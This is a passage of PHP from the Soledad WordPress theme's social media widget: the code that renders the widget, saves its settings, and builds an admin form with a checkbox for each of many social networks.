			$control_ops = array( 'id_base' => 'penci_social_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_social_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Social Media', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_social_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Social Media', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title         = isset( $instance['title'] ) ? $instance['title'] : '';
			$title         = apply_filters( 'widget_title', $title );
			$align         = isset( $instance['align'] ) ? $instance['align'] : '';
			$text          = isset( $instance['text'] ) ? $instance['text'] : '';
			$circle        = isset( $instance['circle'] ) ? $instance['circle'] : false;
			$border_radius = isset( $instance['border_radius'] ) ? $instance['border_radius'] : false;
			$brand_color   = isset( $instance['brand_color'] ) ? $instance['brand_color'] : false;
			$size_icon     = isset( $instance['size_icon'] ) ? $instance['size_icon'] : '14';
			$size_upper    = isset( $instance['size_upper'] ) ? $instance['size_upper'] : false;
			$size_text     = isset( $instance['size_text'] ) ? $instance['size_text'] : '13';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ( $after_title );
			}

			$style_icon     = 'style="font-size: ' . $size_icon . 'px"';
			$style_icon_svg = 'style="width: ' . $size_icon . 'px;height: ' . $size_icon . 'px"';
			$style_text     = 'style="font-size: ' . $size_text . 'px"';
			?>

            <div class="widget-social
			<?php
			if ( $align ) :
				echo ' ' . $align;
			endif;
			?>
			<?php
			if ( $text ) :
				echo ' show-text';
			endif;
			?>

			<?php
			if ( $circle ) :
				echo ' remove-circle';
			endif;
			?>

			<?php
			if ( $size_upper ) :
				echo ' remove-uppercase-text';
			endif;
			?>

			<?php
			if ( $border_radius ) :
				echo ' remove-border-radius';
			endif;
			?>
			<?php
			if ( $brand_color && ! $circle ) {
				echo ' penci-social-colored';
			} elseif ( $brand_color && $circle ) {
				echo ' penci-social-textcolored';
			}
			?>
			">
				<?php
				$social_data         = penci_social_media_array();
				$custom_social_icons = get_option( 'penci_custom_socials', array() );
				foreach ( $social_data as $name => $sdata ) {
					$showing = isset( $instance[ $name ] ) ? $instance[ $name ] : '';
					if ( $showing ) {
						$icon_html = penci_icon_by_ver( $sdata[1], $style_icon );
						$name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>
                        <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                           aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?>
                           target="_blank"><?php echo $icon_html; ?>
                            <span <?php echo $style_text; ?>><?php echo ucwords( $name ); ?></span></a>
						<?php
					}
				}
				?>
            </div>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => 'Keep in touch',
				'text'           => false,
				'align'          => '',
				'circle'         => false,
				'border_radius'  => false,
				'brand_color'    => false,
				'size_icon'      => '14',
				'size_upper'     => false,
				'size_text'      => '13',
				'facebook'       => 'on',
				'twitter'        => 'on',
				'instagram'      => 'on',
				'linkedin'       => '',
				'behance'        => '',
				'flickr'         => '',
				'youtube'        => '',
				'tumblr'         => '',
				'pinterest'      => 'on',
				'email'          => '',
				'vk'             => '',
				'bloglovin'      => '',
				'vine'           => '',
				'soundcloud'     => '',
				'snapchat'       => '',
				'spotify'        => '',
				'github'         => '',
				'stack-overflow' => '',
				'twitch'         => '',
				'vimeo'          => '',
				'steam'          => '',
				'xing'           => '',
				'whatsapp'       => '',
				'telegram'       => '',
				'reddit'         => '',
				'ok'             => '',
				'500px'          => '',
				'wechat'         => '',
				'weibo'          => '',
				'stumbleupon'    => '',
				'line'           => '',
				'viber'          => '',
				'discord'        => '',
				'rss'            => '',
				'slack'          => '',
				'mixcloud'       => '',
				'goodreads'      => '',
				'tripadvisor'    => '',
				'tiktok'         => '',
				'dailymotion'    => '',
				'blogger'        => '',
				'delicious'      => '',
				'deviantart'     => '',
				'digg'           => '',
				'evernote'       => '',
				'forrst'         => '',
				'grooveshark'    => '',
				'lastfm'         => '',
				'myspace'        => '',
				'paypal'         => '',
				'skype'          => '',
				'window'         => '',
				'wordPress'      => '',
				'yahoo'          => '',
				'yandex'         => '',
				'douban'         => '',
				'threads'        => '',
				'yelp'           => '',
				'qq'             => '',
			);

			$socials = get_option( 'penci_custom_socials', array() );

			if ( ! empty( $socials ) ) {
				foreach ( $socials as $slug => $attr ) {
					$defaults[ $slug ] = '';
				}
			}

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter'
						<?php
						if ( '' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Center
                    </option>
                    <option value='pc_alignleft'
						<?php
						if ( 'pc_alignleft' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Left
                    </option>
                    <option value='pc_alignright'
						<?php
						if ( 'pc_alignright' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Right
                    </option>
                </select>
                <small><?php esc_html_e( 'This option only apply when you hide text on the right side of social icons.', 'soledad' ); ?></small>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text' ) ); ?>"><?php esc_html_e( 'Display Social Text on Right Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'text' ) ); ?>" <?php checked( (bool) $instance['text'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"><?php esc_html_e( 'Remove Border Around Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'circle' ) ); ?>" <?php checked( (bool) $instance['circle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'border_radius' ) ); ?>"><?php esc_html_e( 'Remove Border Radius on Border of Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'border_radius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'border_radius' ) ); ?>" <?php checked( (bool) $instance['border_radius'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'brand_color' ) ); ?>"><?php esc_html_e( 'Use Brand Colors for Social Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'brand_color' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'brand_color' ) ); ?>" <?php checked( (bool) $instance['brand_color'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_icon' ) ); ?>"><?php esc_html_e( 'Custom Font Size for Icons:', 'soledad' ); ?></label>
                <input type="number" style="width: 50px;"
                       id="<?php echo esc_attr( $this->get_field_id( 'size_icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_icon' ) ); ?>"
                       value="<?php echo esc_attr( $instance['size_icon'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_upper' ) ); ?>"><?php esc_html_e( 'Disable Uppercase Text on Right Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'size_upper' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_upper' ) ); ?>" <?php checked( (bool) $instance['size_upper'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_text' ) ); ?>"><?php esc_html_e( 'Custom Font Size for Text on Right Icons:', 'soledad' ); ?></label>
                <input type="number" style="width: 50px;"
                       id="<?php echo esc_attr( $this->get_field_id( 'size_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_text' ) ); ?>"
                       value="<?php echo esc_attr( $instance['size_text'] ); ?>" size="3"/>
            </p>

            <p class="description"
               style="padding: 0;"><?php _e( '<strong>Note:</strong> Setup your social URLs via <strong>Appearance > Customize > Social Media</strong>', 'soledad' ); ?></p>
            <style>.social-flex {
                    display: flex;
                    -ms-flex-wrap: wrap;
                    flex-wrap: wrap;
                }

                .social-flex > p {
                    flex: 0 0 50%;
                    display: block;
                    margin: 0.5em 0;
                }</style>
            <div class="social-flex">
				<?php
				$socials = get_option( 'penci_custom_socials', array() );

				if ( ! empty( $socials ) ) {
					foreach ( $socials as $slug => $attr ) {
						?>
                        <p>
                            <label for="<?php echo esc_attr( $this->get_field_id( $slug ) ); ?>"><?php esc_html_e( 'Show ' . $attr['name'] . ':', 'soledad' ); ?></label>
                            <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( $slug ) ); ?>"
                                   name="<?php echo esc_attr( $this->get_field_name( $slug ) ); ?>" <?php checked( (bool) $instance[ $slug ], true ); ?> />
                        </p>
						<?php
					}
				}
				?>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'facebook' ) ); ?>"><?php esc_html_e( 'Show Facebook:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'facebook' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'facebook' ) ); ?>" <?php checked( (bool) $instance['facebook'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'twitter' ) ); ?>"><?php esc_html_e( 'Show Twitter:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twitter' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'twitter' ) ); ?>" <?php checked( (bool) $instance['twitter'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'instagram' ) ); ?>"><?php esc_html_e( 'Show Instagram:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'instagram' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'instagram' ) ); ?>" <?php checked( (bool) $instance['instagram'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'pinterest' ) ); ?>"><?php esc_html_e( 'Show Pinterest:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'pinterest' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'pinterest' ) ); ?>" <?php checked( (bool) $instance['pinterest'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'linkedin' ) ); ?>"><?php esc_html_e( 'Show Likedin:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'linkedin' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'linkedin' ) ); ?>" <?php checked( (bool) $instance['linkedin'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'behance' ) ); ?>"><?php esc_html_e( 'Show Behance:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'behance' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'behance' ) ); ?>" <?php checked( (bool) $instance['behance'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'flickr' ) ); ?>"><?php esc_html_e( 'Show Flickr:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'flickr' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'flickr' ) ); ?>" <?php checked( (bool) $instance['flickr'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tumblr' ) ); ?>"><?php esc_html_e( 'Show Tumblr:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tumblr' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tumblr' ) ); ?>" <?php checked( (bool) $instance['tumblr'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'youtube' ) ); ?>"><?php esc_html_e( 'Show Youtube:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'youtube' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'youtube' ) ); ?>" <?php checked( (bool) $instance['youtube'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'email' ) ); ?>"><?php esc_html_e( 'Show Email:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'email' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'email' ) ); ?>" <?php checked( (bool) $instance['email'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vk' ) ); ?>"><?php esc_html_e( 'Show Vk:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vk' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vk' ) ); ?>" <?php checked( (bool) $instance['vk'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'bloglovin' ) ); ?>"><?php esc_html_e( 'Show Bloglovin:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'bloglovin' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'bloglovin' ) ); ?>" <?php checked( (bool) $instance['bloglovin'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vine' ) ); ?>"><?php esc_html_e( 'Show Vine:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vine' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vine' ) ); ?>" <?php checked( (bool) $instance['vine'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'soundcloud' ) ); ?>"><?php esc_html_e( 'Show Soundcloud:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'soundcloud' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'soundcloud' ) ); ?>" <?php checked( (bool) $instance['soundcloud'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'snapchat' ) ); ?>"><?php esc_html_e( 'Show Snapchat:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'snapchat' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'snapchat' ) ); ?>" <?php checked( (bool) $instance['snapchat'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'spotify' ) ); ?>"><?php esc_html_e( 'Show Spotify:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'spotify' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'spotify' ) ); ?>" <?php checked( (bool) $instance['spotify'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'github' ) ); ?>"><?php esc_html_e( 'Show Github:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'github' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'github' ) ); ?>" <?php checked( (bool) $instance['github'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'stack-overflow' ) ); ?>"><?php esc_html_e( 'Show Stack Overflow:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stack-overflow' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'stack-overflow' ) ); ?>" <?php checked( (bool) $instance['stack-overflow'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'twitch' ) ); ?>"><?php esc_html_e( 'Show Twitch:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twitch' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'twitch' ) ); ?>" <?php checked( (bool) $instance['twitch'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vimeo' ) ); ?>"><?php esc_html_e( 'Show Vimeo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vimeo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vimeo' ) ); ?>" <?php checked( (bool) $instance['vimeo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'steam' ) ); ?>"><?php esc_html_e( 'Show Steam:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'steam' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'steam' ) ); ?>" <?php checked( (bool) $instance['steam'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'xing' ) ); ?>"><?php esc_html_e( 'Show Xing:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'xing' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'xing' ) ); ?>" <?php checked( (bool) $instance['xing'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'whatsapp' ) ); ?>"><?php esc_html_e( 'Show Whatsapp:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'whatsapp' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'whatsapp' ) ); ?>" <?php checked( (bool) $instance['whatsapp'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'telegram' ) ); ?>"><?php esc_html_e( 'Show Telegram:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'telegram' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'telegram' ) ); ?>" <?php checked( (bool) $instance['telegram'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'reddit' ) ); ?>"><?php esc_html_e( 'Show Reddit:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'reddit' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'reddit' ) ); ?>" <?php checked( (bool) $instance['reddit'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'ok' ) ); ?>"><?php esc_html_e( 'Show Ok:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ok' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'ok' ) ); ?>" <?php checked( (bool) $instance['ok'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( '500px' ) ); ?>"><?php esc_html_e( 'Show 500px:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( '500px' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( '500px' ) ); ?>" <?php checked( (bool) $instance['500px'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'stumbleupon' ) ); ?>"><?php esc_html_e( 'Show StumbleUpon:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stumbleupon' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'stumbleupon' ) ); ?>" <?php checked( (bool) $instance['stumbleupon'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'wechat' ) ); ?>"><?php esc_html_e( 'Show Wechat:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'wechat' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'wechat' ) ); ?>" <?php checked( (bool) $instance['wechat'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'weibo' ) ); ?>"><?php esc_html_e( 'Show Weibo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'weibo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'weibo' ) ); ?>" <?php checked( (bool) $instance['weibo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'line' ) ); ?>"><?php esc_html_e( 'Show LINE:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'line' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'line' ) ); ?>" <?php checked( (bool) $instance['line'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'viber' ) ); ?>"><?php esc_html_e( 'Show Viber:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'viber' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'viber' ) ); ?>" <?php checked( (bool) $instance['viber'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'discord' ) ); ?>"><?php esc_html_e( 'Show Discord:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'discord' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'discord' ) ); ?>" <?php checked( (bool) $instance['discord'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'rss' ) ); ?>"><?php esc_html_e( 'Show RSS:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'rss' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'rss' ) ); ?>" <?php checked( (bool) $instance['rss'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'slack' ) ); ?>"><?php esc_html_e( 'Show slack:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'slack' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'slack' ) ); ?>" <?php checked( (bool) $instance['slack'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'mixcloud' ) ); ?>"><?php esc_html_e( 'Show Mixcloud:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'mixcloud' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'mixcloud' ) ); ?>" <?php checked( (bool) $instance['mixcloud'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'goodreads' ) ); ?>"><?php esc_html_e( 'Show Goodreads:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'goodreads' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'goodreads' ) ); ?>" <?php checked( (bool) $instance['goodreads'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tripadvisor' ) ); ?>"><?php esc_html_e( 'Show Tripadvisor:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tripadvisor' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tripadvisor' ) ); ?>" <?php checked( (bool) $instance['tripadvisor'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tiktok' ) ); ?>"><?php esc_html_e( 'Show Tiktok:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tiktok' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tiktok' ) ); ?>" <?php checked( (bool) $instance['tiktok'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'dailymotion' ) ); ?>"><?php esc_html_e( 'Show Dailymotion:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'dailymotion' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'dailymotion' ) ); ?>" <?php checked( (bool) $instance['dailymotion'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'blogger' ) ); ?>"><?php esc_html_e( 'Show Blogger:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'blogger' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'blogger' ) ); ?>" <?php checked( (bool) $instance['blogger'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'delicious' ) ); ?>"><?php esc_html_e( 'Show Delicious:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'delicious' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'delicious' ) ); ?>" <?php checked( (bool) $instance['delicious'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'deviantart' ) ); ?>"><?php esc_html_e( 'Show Deviantart:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'deviantart' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'deviantart' ) ); ?>" <?php checked( (bool) $instance['deviantart'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'digg' ) ); ?>"><?php esc_html_e( 'Show Digg:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'digg' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'digg' ) ); ?>" <?php checked( (bool) $instance['digg'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'evernote' ) ); ?>"><?php esc_html_e( 'Show Evernote:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'evernote' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'evernote' ) ); ?>" <?php checked( (bool) $instance['evernote'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'forrst' ) ); ?>"><?php esc_html_e( 'Show Forrst:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'forrst' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'forrst' ) ); ?>" <?php checked( (bool) $instance['forrst'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'grooveshark' ) ); ?>"><?php esc_html_e( 'Show Grooveshark:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'grooveshark' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'grooveshark' ) ); ?>" <?php checked( (bool) $instance['grooveshark'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'lastfm' ) ); ?>"><?php esc_html_e( 'Show Lastfm:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'lastfm' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'lastfm' ) ); ?>" <?php checked( (bool) $instance['lastfm'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'myspace' ) ); ?>"><?php esc_html_e( 'Show Myspace:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'myspace' ) ); ?>"
